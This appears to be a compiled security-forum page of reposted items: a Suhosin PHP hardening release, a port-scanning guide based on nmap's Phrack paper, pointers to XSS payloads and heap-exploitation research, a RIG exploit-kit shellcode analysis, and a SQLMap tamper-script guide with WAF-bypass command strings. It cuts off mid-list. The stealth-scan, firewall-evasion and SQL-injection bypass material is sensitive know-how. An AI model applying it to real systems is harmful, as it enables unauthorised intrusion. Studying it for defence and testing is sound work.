SektionEins releases Suhosin 0.9.37 Posted: 2014-12-03 11:00 by Ben Fuhrmannek SektionEins is proud to announce the release of the PHP security extension Suhosin version 0.9.37. Suhosin (pronounced 'su-ho-shin') is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. This release improves stability and adds a number of useful features, such as array index blacklist and whitelist to protect against attacks like this: http://.../foo.php?a[; or 1=1 --] SQL injection protection for Mysqli SQL username limits experimental UTF-8 exemption for binary data detection Debian package script well documented configuration file numerous new test cases A complete list of changes can be found in the ChangeLog. In addition there have been improvements to the online documentation: Configuration: Configuration | SUHOSIN HOWTOs: Suhosin HOWTOs | SUHOSIN Suhosin is officially supported to run with PHP 5.4, 5.5 and 5.6 on Linux. However for security reasons we recommend PHP 5.5 or above. The comprehensive test suite passes on Linux - Debian Wheezy and Ubuntu Trusty - MacOSX 10.9 and FreeBSD 10.1. The default array index blacklist is set to the following characters: '"+-<>;(). With this change in mind, upgrading from previous versions should be smooth and seamless. Download here: About | SUHOSIN Professional Support: SektionEins provides professional support for Suhosin as well as security audits of web applications, consulting services and trainings. Please use our contact form for more information. Ben Fuhrmannek Sursa: https://www.sektioneins.de/en/blog/14-12-03-suhosin-release-0.9.37.html

[h=1]NMAP - Port-Scanning: A Practical Approach Modified for better[/h]----Port-Scanning: A Practical Approach Modified for better ----------------------------------------------------------- I accept that when i got this file that was called nmapguide.txt it is written by Doug Hoyte a senior programmer and i liked to add some information for the past years that nmap has been a evolution on protscanning since 1997.I have added here the mos used commands for penetesters and so on for hackers.Im not saying that im helping hackers or the bad guys to get into systemsor get into troubles, this is a paper that should be read very carefully.It has too many infos for you........ Thanks Version 2.0 I took at about 7 days to edit, add, remove, and unduplicate the information. Port Scanning is not a crime and will not be till the end. Author(s): ------|Florian MINDZSEC|---------- - Skilled Programmer ------------------------------ * Introduction * History * What can nmap Do: * Your arsenal * Fundamentals * Port scanning * Practical Scanning * Scanning with NEW Scripts * Cheat Sheet * Nmap in your hands * Script Engine Scanning ------------------------------ Introduction ------------ Often times it is useful, even necessary, to gather as much information as possible about a remote target. This includes learning all of their network "points of entry", the operating systems used, firewalling methods employed, services running, etc. Note that while it certainly is possible to portscan with a windows machine, I will be focusing on using a unix machine with certain utilities installed. This is due to Windows' lack of raw socket access (pre Win2K) and the lack of decent, free, portscanners availble for the platform. In the next section I will share some useful pointers on portscanning. Note that root level access is required on your unix machine for many scans. History ------- The nmap is first released in 1997 in Phrack Magazine issue 51, article 11. Some information:[ Abstract ] This paper details many of the techniques used to determine what ports (or similar protocol abstraction) of a host are listening for connections. These ports represent potential communication channels. Mapping their existence facilitates the exchange of information with the host, and thus it is quite useful for anyone wishing to explore their networked environment, including hackers. Despite what you have heard from the media, the Internet is NOT all about TCP port 80. Anyone who relies exclusively on the WWW for information gathering is likely to gain the same level of proficiency as your average AOLer, who does the same. This paper is also meant to serve as an introduction to and ancillary documentation for a coding project I have been working on. It is a full featured, robust port scanner which (I hope) solves some of the problems I have encountered when dealing with other scanners and when working to scan massive networks. The tool, nmap, supports the following: - vanilla TCP connect() scanning, - TCP SYN (half open) scanning, - TCP FIN (stealth) scanning, - TCP ftp proxy (bounce attack) scanning - SYN/FIN scanning using IP fragments (bypasses packet filters), - UDP recvfrom() scanning, - UDP raw ICMP port unreachable scanning, - ICMP scanning (ping-sweep), and - reverse-ident scanning. The freely distributable source code is appended to this paper. [ Introduction ] Scanning, as a method for discovering exploitable communication channels, has been around for ages. The idea is to probe as many listeners as possible, and keep track of the ones that are receptive or useful to your particular need. Much of the field of advertising is based on this paradigm, and the "to current resident" brute force style of bulk mail is an almost perfect parallel to what we will discuss. Just stick a message in every mailbox and wait for the responses to trickle back. Scanning entered the h/p world along with the phone systems. Here we have this tremendous global telecommunications network, all reachable through codes on our telephone. Millions of numbers are reachable locally, yet we may only be interested in 0.5% of these numbers, perhaps those that answer with a carrier. The logical solution to finding those numbers that interest us is to try them all. Thus the field of "wardialing" arose. Excellent programs like Toneloc were developed to facilitate the probing of entire exchanges and more. The basic idea is simple. If you dial a number and your modem gives you a CONNECT, you record it. Otherwise the computer hangs up and tirelessly dials the next one. While wardialing is still useful, we are now finding that many of the computers we wish to communicate with are connected through networks such as the Internet rather than analog phone dialups. Scanning these machines involves the same brute force technique. We send a blizzard of packets for various protocols, and we deduce which services are listening from the responses we receive (or don't receive). [ Techniques ] Over time, a number of techniques have been developed for surveying the protocols and ports on which a target machine is listening. They all offer different benefits and problems. Here is a line up of the most common: - TCP connect() scanning : This is the most basic form of TCP scanning. The connect() system call provided by your operating system is used to open a connection to every interesting port on the machine. If the port is listening, connect() will succeed, otherwise the port isn't reachable. One strong advantage to this technique is that you don't need any special privileges. Any user on most UNIX boxes is free to use this call. Another advantage is speed. While making a separate connect() call for every targeted port in a linear fashion would take ages over a slow connection, you can hasten the scan by using many sockets in parallel. Using non-blocking I/O allows you to set a low time-out period and watch all the sockets at once. This is the fastest scanning method supported by nmap, and is available with the -t (TCP) option. The big downside is that this sort of scan is easily detectable and filterable. The target hosts logs will show a bunch of connection and error messages for the services which take the connection and then have it immediately shutdown. - TCP SYN scanning : This technique is often referred to as "half-open" scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and wait for a response. A SYN|ACK indicates the port is listening. A RST is indicative of a non- listener. If a SYN|ACK is received, you immediately send a RST to tear down the connection (actually the kernel does this for us). The primary advantage to this scanning technique is that fewer sites will log it. Unfortunately you need root privileges to build these custom SYN packets. SYN scanning is the -s option of nmap. - TCP FIN scanning : There are times when even SYN scanning isn't clandestine enough. Some firewalls and packet filters watch for SYNs to an unallowed port, and programs like synlogger and Courtney are available to detect these scans. FIN packets, on the other hand, may be able to pass through unmolested. This scanning technique was featured in detail by Uriel Maimon in Phrack 49, article 15. The idea is that closed ports tend to reply to your FIN packet with the proper RST. Open ports, on the other hand, tend to ignore the packet in question. This is a bug in TCP implementations and so it isn't 100% reliable (some systems, notably Micro$oft boxes, seem to be immune). It works well on most other systems I've tried. FIN scanning is the -U (Uriel) option of nmap. - Fragmentation scanning : This is not a new scanning method in and of itself, but a modification of other techniques. Instead of just sending the probe packet, you break it into a couple of small IP fragments. You are splitting up the TCP header over several packets to make it harder for packet filters and so forth to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. My favorite sniffer segmentation faulted immediately upon receiving the first 36-byte fragment. After that comes a 24 byte one! While this method won't get by packet filters and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG option in Linux), a lot of networks can't afford the performance hit this causes. This feature is rather unique to scanners (at least I haven't seen any others that do this). Thanks to daemon9 for suggesting it. The -f instructs the specified SYN or FIN scan to use tiny fragmented packets. - TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq post, the ident protocol (rfc1413) allows for the disclosure of the username of the owner of any process connected via TCP, even if that process didn't initiate the connection. So you can, for example, connect to the http port and then use identd to find out whether the server is running as root. This can only be done with a full TCP connection to the target port (i.e. the -t option). nmap's -i option queries identd for the owner of all listen()ing ports. - FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is support for "proxy" ftp connections. In other words, I should be able to connect from evil.com to the FTP server-PI (protocol interpreter) of target.com to establish the control communication connection. Then I should be able to request that the server-PI initiate an active server-DTP (data transfer process) to send a file ANYWHERE on the internet! Presumably to a User-DTP, although the RFC specifically states that asking one server to send a file to another is OK. Now this may have worked well in 1985 when the RFC was just written. But nowadays, we can't have people hijacking ftp servers and requesting that data be spit out to arbitrary points on the internet. As *Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time." What we will exploit this for is to (surprise, surprise) scan TCP ports from a "proxy" ftp server. Thus you could connect to an ftp server behind a firewall, and then scan ports that are more likely to be blocked (139 is a good one). If the ftp server allows reading from and writing to a directory (such as /incoming), you can send arbitrary data to ports that you do find open. For port scanning, our technique is to use the PORT command to declare that our passive "User-DTP" is listening on the target box at a certain port number. Then we try to LIST the current directory, and the result is sent over the Server-DTP channel. If our target host is listening on the specified port, the transfer will be successful (generating a 150 and a 226 response). Otherwise we will get "425 Can't build data connection: Connection refused." Then we issue another PORT command to try the next port on the target host. The advantages to this approach are obvious (harder to trace, potential to bypass firewalls). The main disadvantages are that it is slow, and that some FTP servers have finally got a clue and disabled the proxy "feature". For what it is worth, here is a list of banners from sites where it does/doesn't work: *Bounce attacks worked:* 220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready. 220 xxx.xxx.xxx.edu FTP server ready. 220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready. 220 lem FTP server (SunOS 4.1) ready. 220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready. 220 elios FTP server (SunOS 4.1) ready *Bounce attack failed:* 220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready. 220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[bETA-12](1) Fri Feb 7 220 ftp Microsoft FTP Service (Version 3.0). 220 xxx FTP server (Version wu-2.4.2-academ[bETA-11](1) Tue Sep 3 ...) ready. 220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[bETA-13](6) ...) ready. The 'x's are partly there to protect those guilty of running a flawed server, but mostly just to make the lines fit in 80 columns. Same thing with the ellipse points. The bounce attack is available with the -b <proxy_server> option of nmap. proxy_server can be specified in standard URL format, username:password@server:port , with everything but server being optional. - UDP ICMP port unreachable scanning : This scanning method varies from the above in that we are using the UDP protocol instead of TCP. While this protocol is simpler, scanning it is actually significantly more difficult. This is because open ports don't have to send an acknowledgement in response to our probe, and closed ports aren't even required to send an error packet. Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a packet to a closed UDP port. Thus you can find out if a port is NOT open, and by exclusion determine which ports which are. Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives). Also, this scanning technique is slow because of compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit ICMP error message rate. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. At some point I will add a better algorithm to nmap for detecting this. Also, you will need to be root for access to the raw ICMP socket necessary for reading the port unreachable. The -u (UDP) option of nmap implements this scanning method for root users. Some people think UDP scanning is lame and pointless. I usually remind them of the recent Solaris rcpbind hole. Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it doesn't matter that 111 is blocked by the firewall. But can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can! - UDP recvfrom() and write() scanning : While non-root users can't read port unreachable errors directly, Linux is cool enough to inform the user indirectly when they have been received. For example a second write() call to a closed port will usually fail. A lot of scanners such as netcat and Pluvius' pscan.c does this. I have also noticed that recvfrom() on non-blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused", errno 111) if it has. This is the technique used for determining open ports when non-root users use -u (UDP). Root users can also use the -l (lamer UDP scan) options to force this, but it is a really dumb idea. - ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have a port abstraction. But it is sometimes useful to determine what hosts in a network are up by pinging them all. the -P option does this. Also you might want to adjust the PING_TIMEOUT #define if you are scanning a large network. nmap supports a host/bitmask notation to make this sort of thing easier. For example 'nmap -P cert.org/24 152.148.0.0/16' would scan CERT's class C network and whatever class B entity 152.148.* represents. Host/26 is useful for 6-bit subnets within an organization. [ Features ] Prior to writing nmap, I spent a lot of time with other scanners exploring the Internet and various private networks (note the avoidance of the "intranet" buzzword). I have used many of the top scanners available today, including strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by Pluvius, ident-scan by Dave Goldsmith, and the SATAN tcp/udp scanners by Wietse Venema. These are all excellent scanners! In fact, I ended up hacking most of them to support the best features of the others. Finally I decided to write a whole new scanner, rather than rely on hacked versions of a dozen different scanners in my /usr/local/sbin. While I wrote all the code, nmap uses a lot of good ideas from its predecessors. I also incorporated some new stuff like fragmentation scanning and options that were on my "wish list" for other scanners. Here are some of the (IMHO) useful features of nmap: - dynamic delay time calculations: Some scanners require that you supply a delay time between sending packets. Well how should I know what to use? Sure, I can ping them, but that is a pain, and plus the response time of many hosts changes dramatically when they are being flooded with requests. nmap tries to determine the best delay time for you. It also tries to keep track of packet retransmissions, etc. so that it can modify this delay time during the course of the scan. For root users, the primary technique for finding an initial delay is to time the internal "ping" function. For non-root users, it times an attempted connect() to a closed port on the target. It can also pick a reasonable default value. Again, people who want to specify a delay themselves can do so with -w (wait), but you shouldn't have to. - retransmission: Some scanners just send out all the query packets, and collect the responses. But this can lead to false positives or negatives in the case where packets are dropped. This is especially important for "negative" style scans like UDP and FIN, where what you are looking for is a port that does NOT respond. In most cases, nmap implements a configurable number of retransmissions for ports that don't respond. - parallel port scanning: Some scanners simply scan ports linearly, one at a time, until they do all 65535. This actually works for TCP on a very fast local network, but the speed of this is not at all acceptable on a wide area network like the Internet. nmap uses non-blocking i/o and parallel scanning in all TCP and UDP modes. The number of scans in parallel is configurable with the -M (Max sockets) option. On a very fast network you will actually decrease performance if you do more than 18 or so. On slow networks, high values increase performance dramatically. - Flexible port specification: I don't always want to just scan all 65535 ports. Also, the scanners which only allow you to scan ports 1 - N sometimes fall short of my need. The -p option allows you to specify an arbitrary number of ports and ranges for scanning. For example, '-p 21-25,80,113, 60000-' does what you would expect (a trailing hyphen means up to 65536, a leading hyphen means 1 through). You can also use the -F (fast) option, which scans all the ports registered in your /etc/services (a la strobe). - Flexible target specification: I often want to scan more then one host, and I certainly don't want to list every single host on a large network to scan. Everything that isn't an option (or option argument) in nmap is treated as a target host. As mentioned before, you can optionally append /mask to a hostname or IP address in order to scan all hosts with the same initial <mask> bits of the 32 bit IP address. - detection of down hosts: Some scanners allow you to scan large networks, but they waste a huge amount of time scanning 65535 ports of a dead host! By default, nmap pings each host to make sure it is up before wasting time on it. It is also capable of bailing on hosts that seem down based on strange port scanning errors. It is also meant to be tolerant of people who accidentally scan network addresses, broadcast addresses, etc. - detection of your IP address: For some reason, a lot of scanners ask you to type in your IP address as one of the parameters. Jeez, I don't want to have to 'ifconfig' and figure out my current address every time I scan. Of course, this is better then the scanners I've seen which require recompilation every time you change your address! nmap first tries to detect your address during the ping stage. It uses the address that the echo response is received on, as that is the interface it should almost always be routed through. If it can't do this (like if you don't have host pinging enabled), nmap tries to detect your primary interface and uses that address. You can also use -S to specify it directly, but you shouldn't have to (unless you want to make it look like someone ELSE is SYN or FIN scanning a host. Some other, more minor options: -v (verbose): This is highly recommended for interactive use. Among other useful messages, you will see ports come up as they are found, rather than having to wait for the sorted summary list. -r (randomize): This will randomize the order in which the target host's ports are scanned. -q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default). It also eliminates all other arguments, so you won't look too suspicious in 'w' or 'ps' listings. -h for an options summary. Complet: http://www.exploit-db.com/papers/35425/

XSS Payloads For several years I've been looking for different types of payloads I could use or adapt to my XSS exploits. I ended up with pieces of code spread everywhere, spending more time to search for what I needed than just rewriting it... Obviously it was time to organize a little bit all this mess, and to share. I could build this library thanks to many people who help me learn, and code. Now it is my turn to share. Enjoy! Link: XSS Payloads

Project Heapbleed [ posted by census on 27.11.2014 ] CENSUS researcher Patroklos Argyroudis has recently presented a talk on heap exploitation abstraction at two conferences, namely ZeroNights 2014 (Moscow, Russia) and BalCCon 2014 (Novi Sad, Serbia). In the talk titled “Project Heapbleed”, Patroklos has collected the experience of exploiting allocators in various different target applications and platforms. He focused on practical, reusable heap attack primitives that aim to reduce the exploit development time and effort. The talk’s abstract was the following: Heap related bugs (such as buffer overflows, use-after-frees, dangling/stale pointers, double frees) leading to corruptions of virtual memory and vulnerable conditions, constitute the most common type of memory corruption bugs. The exploitation of heap vulnerabilities is a process that requires a lot of time and effort. It requires meticulous understanding of the underlying heap allocator; its data structures metadata) and its allocation/deallocation algorithms. It requires understanding of how the target application uses the API provided by the heap allocator to manage dynamic memory and the allocation patterns that emerge due to this use. It also requires understanding of the application-specific data and how/where these are placed on the heap. Finally, it requires studying of the way the user can influence the application and use its provided functionality to control its heap as reliably as possible with the goal to create conditions aiding exploitation. All these must be viewed in the context of complicated bugs, since low-hanging fruits are scarce, and the vendors’ adoption of increasingly sophisticated exploitation mitigation technologies. We argue that although the details between the different heap allocators, target applications and bugs at hand obviously vary, the heap exploitation methodologies that have been formed by practical experience can be abstracted to reusable primitives that can be applied to new targets. Project Heapbleed is our attempt to define, clearly articulate, categorize and where applicable implement these primitives, aiming to provide a practical reusable heap exploitation toolset. The slides are available here. Sursa: census | Project Heapbleed

Drakvuf DRAKVUF Dynamic Malware Analysis Download as .tar.gz View on GitHub Introduction DRAKVUF is an agentless dynamic malware analysis system built on Xen, LibVMI, Volatility and Rekall. It allows for in-depth execution tracing of malware samples, extracting deleted files from memory and more. Hardware requirements For DRAKVUF to work you will need an Intel CPU with virtualization support and with Extended Page Tables (EPT). DRAKVUF is not going to work on any other CPUs or without EPT. It is recommended to have at least 8GB RAM but you may be able get by with less. Supported guests DRAKVUF currently supports Windows 7 VMs, both 32 and 64-bit versions. Demos Sursa: DRAKVUF Dynamic Malware Analysis

RIG Exploit Kit - Shellcode analysis Brad published a traffic analysis exercise which I had a quick look at and felt that I wanted to take it to the next level so I started looking at how to decode the payload delivered by the exploit kit. I get the shellcode from the Flash exploit as it's provided as a hex-encoded string starting with "90909090" (NOP): An easy way to go is to create an executable from the shellcode utilizing Shellcode2Exe to be able to step through it in OllyDbg. Taking the step into shellcode Loading it up in Olly, it will start with a loop which decodes the payload URL using XOR as seen below. The key can be found by inspecting ESI when first hitting the loop and the encoded data can be found by inspecting EDI. After decoding: The decoding loop will continue until the decoded byte is "!" (0x21), the reason will be explained later in the post under "Multiple payloads". The shellcode uses URLDownloadToCacheFileA to download the payload. Should the payload be successfully downloaded, it will be opened with CreateFileA and read with ReadFile into memory allocated using VirtualAlloc. After reading the file it will be decrypted using RC4 cipher with a key defined in the shellcode. I recommend reading the post from VRT on how to recognize RC4 when debugging. This is the function found in the shellcode: Inspecting EDI when hitting the above lines it's found to have the following content: EDI is pointing to the first byte of the key and EBP holds the key length which is 5 giving the key m3S4V. At this point it's possible to let the shellcode run until CloseHandle is called and the decoded payload has been written back to disk or write a script for decoding the payload extracted from the PCAP. A small implementation of the RC4 cipher can be found here (Python). Multiple payloads What is the most interesting thing about the shellcode is that it carries more functionality than isn't used. The shellcode is used to download one payload, but the shellcode supports multiple payloads. After calling CreateProcessA, the shellcode will step through the recently used URL looking for the end of the string (0x00), and comparing the next byte with "!" (0x21). If it's true, the shellcode will end otherwise it will start over with a new payload. An example of URL-list would look like this: <url1>0x00<url2>0x00<urlN>0x0021 Conclusion of sorts RIGs shellcode have the capability to download and execute multiple payloads which are encrypted using RC4 (5 byte key). The URL-list is encoded using XOR (5 byte key). API-calls used in the shellcode (in order of first call): - LoadLibraryA - URLDownloadToCacheFileA - CreateFileA - VirtualAlloc - ReadFile - SetFilePointer - WriteFile - VirtualFree - CloseHandle - CreateProcessA You can find the hex-encoded shellcode on [pastebin]. Upplagd av teh syntx kl. 11:57 Sursa: tHEMbITS: RIG Exploit Kit - Shellcode analysis

SQLMap Tamper Scripts By Dana TaylorSeptember 24, 2014Pentestsqlmap, tamper scripts When using SQLMap Tamper scripts while doing a pentest can be a bit confusing and a lot of work to figure out which scripts you need to use and when to use them. I have an upcoming pentest I need to perform and figured this is the perfect time to organize all of this. First of all, not all scripts are created equal. Some work for general run-of-the mill sql injection attacks and others are for specific databases. Some are not actually sure if it works on all databases and some have only been officially tested against older versions of database applications. This is the very definition of hit and miss. I reviewed each tamper script and tried to place them in boxes. If you have feedback on any of these boxes PLEASE don’t be shy! Let me know in the comment section. I want this to be a good resource and your help would be greatly appreciated. The General Scripts section contains both non-specific database exploits as well as those that cover a wide range of databases. In my thoughts, this would be a good start script box to use as an initial hit on an application. Again, feedback appreciated. I am going to include the syntax to run each section as well as one to run every script. SQLMap will organize them automatically. However, I captured traffic from running all scripts and it didn’t look familiar at all. not sure if it is a good idea to do this or not. Feedback welcome! Jump to general Microsoft-Access mssql mysql oracle postresql sap sqlite --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords General Scripts --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes apostrophemask Replaces apostrophe character with its UTF-8 full width counterpart apostrophenullencode Replaces apostrophe character with its illegal double unicode counterpart base64encode Base64 all characters in a given payload between Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ Replaces equals operator (‘=’) with ‘BETWEEN # AND #’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases chardoubleencode Double url-encodes all characters in a given payload (not processing already encoded) Notes: * Useful to bypass some weak web application firewalls that do not double url-decode the request before processing it through their ruleset charencode Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS charunicodeencode Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases ifnull2ifisnull Replaces instances like ‘IFNULL(A, ’ with ‘IF(ISNULL(A), B, A)’ Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases space2randomblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection Microsoft Access --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords appendnullbyte Appends encoded NULL byte character at the end of payload Requirement: * Microsoft Access Notes: * Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access – further uses are also possible equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection Microsoft SQL Server --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes between Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ Replaces equals operator (‘=’) with ‘BETWEEN # AND #’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases charencode Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS charunicodeencode Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against 